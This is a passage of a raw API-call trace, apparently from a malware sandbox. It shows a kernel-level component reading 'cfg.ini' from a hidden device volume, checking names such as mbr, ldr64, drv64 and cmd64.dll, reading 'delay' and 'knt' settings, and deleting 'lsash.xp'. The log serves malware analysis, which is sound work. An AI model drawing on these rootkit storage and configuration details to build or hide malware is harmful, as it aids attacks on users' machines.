Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.682] IdePortDispatch () returned 0x103 [0130.683] KeWaitForMutexObject () returned 0x0 [0130.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.683] KeLeaveCriticalRegion () [0130.683] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.683] KeEnterCriticalRegion () [0130.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.683] KeLeaveCriticalRegion () [0130.683] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.683] KeEnterCriticalRegion () [0130.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.684] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.684] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294ee80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.684] KeLeaveCriticalRegion () [0130.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.684] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.684] KeEnterCriticalRegion () [0130.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.684] ExFreePoolWithTag (P=0xfffffa800294ec60, Tag=0x0) [0130.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.684] KeLeaveCriticalRegion () [0130.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.684] ReleaseMutex (hMutex=0xf0) returned 1 [0130.684] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.684] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.684] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.684] KeEnterCriticalRegion () [0130.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.684] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.684] IdePortDispatch () returned 0x103 [0130.684] KeWaitForMutexObject () returned 0x0 [0130.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.684] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.685] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.685] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.685] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.685] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294edc0 [0130.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.685] KeLeaveCriticalRegion () [0130.685] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.685] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.685] KeEnterCriticalRegion () [0130.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.685] KeLeaveCriticalRegion () [0130.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.685] KeEnterCriticalRegion () [0130.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.685] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.685] IdePortDispatch () returned 0x103 [0130.685] KeWaitForMutexObject () returned 0x0 [0130.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.685] KeLeaveCriticalRegion () [0130.685] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.686] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.686] KeEnterCriticalRegion () [0130.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003481000 [0130.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.686] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.686] IdePortDispatch () returned 0x103 [0130.686] KeWaitForMutexObject () returned 0x0 [0130.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.686] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.686] IdePortDispatch () returned 0x103 [0130.686] KeWaitForMutexObject () returned 0x0 [0130.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.686] KeLeaveCriticalRegion () [0130.686] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.687] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.687] KeEnterCriticalRegion () [0130.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.687] KeLeaveCriticalRegion () [0130.687] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.687] KeEnterCriticalRegion () [0130.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.687] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.687] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.687] KeLeaveCriticalRegion () [0130.687] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.687] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.687] KeEnterCriticalRegion () [0130.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.687] ExFreePoolWithTag (P=0xfffffa800294edc0, Tag=0x0) [0130.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.688] KeLeaveCriticalRegion () [0130.688] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.688] ReleaseMutex (hMutex=0xf0) returned 1 [0130.688] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.688] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.688] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.688] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.688] KeEnterCriticalRegion () [0130.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.688] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.688] IdePortDispatch () returned 0x103 [0130.688] KeWaitForMutexObject () returned 0x0 [0130.688] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.688] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.688] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.688] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.688] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.689] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.689] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.689] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.689] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.689] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.689] KeLeaveCriticalRegion () [0130.689] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.689] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.689] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.689] KeEnterCriticalRegion () [0130.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.689] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.689] IdePortDispatch () returned 0x103 [0130.689] KeWaitForMutexObject () returned 0x0 [0130.689] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.689] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.689] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.689] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.689] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.689] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.690] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.690] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.690] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.690] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.690] KeLeaveCriticalRegion () [0130.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.690] ReleaseMutex (hMutex=0x100) returned 1 [0130.690] Sleep (dwMilliseconds=0x2bf20) [0130.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x71036b30, dwHighDateTime=0x1d24fa4)) [0130.698] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.698] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.698] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.698] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.698] KeEnterCriticalRegion () [0130.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.698] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.698] IdePortDispatch () returned 0x103 [0130.699] KeWaitForMutexObject () returned 0x0 [0130.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.699] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.699] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.699] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.699] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.699] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845ba0 [0130.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.699] KeLeaveCriticalRegion () [0130.699] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.699] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.699] KeEnterCriticalRegion () [0130.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.699] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.699] KeLeaveCriticalRegion () [0130.699] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.699] KeEnterCriticalRegion () [0130.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.699] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.699] IdePortDispatch () returned 0x103 [0130.700] KeWaitForMutexObject () returned 0x0 [0130.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.700] KeLeaveCriticalRegion () [0130.700] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.700] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.700] KeEnterCriticalRegion () [0130.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.700] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0130.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.700] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.700] IdePortDispatch () returned 0x103 [0130.700] KeWaitForMutexObject () returned 0x0 [0130.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.700] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.700] IdePortDispatch () returned 0x103 [0130.701] KeWaitForMutexObject () returned 0x0 [0130.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.701] KeLeaveCriticalRegion () [0130.701] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.701] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.701] KeEnterCriticalRegion () [0130.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.701] KeLeaveCriticalRegion () [0130.701] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.701] KeEnterCriticalRegion () [0130.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.702] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.702] KeLeaveCriticalRegion () [0130.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.702] KeEnterCriticalRegion () [0130.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.702] ExFreePoolWithTag (P=0xfffffa8002845ba0, Tag=0x0) [0130.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.702] KeLeaveCriticalRegion () [0130.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.702] ReleaseMutex (hMutex=0xf0) returned 1 [0130.702] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.702] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.702] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.702] KeEnterCriticalRegion () [0130.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.702] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.702] IdePortDispatch () returned 0x103 [0130.702] KeWaitForMutexObject () returned 0x0 [0130.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.702] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.702] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.703] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.703] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.703] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ec60 [0130.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.703] KeLeaveCriticalRegion () [0130.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.703] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.703] KeEnterCriticalRegion () [0130.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.703] ExReleaseFastMutexUnsafe (in: 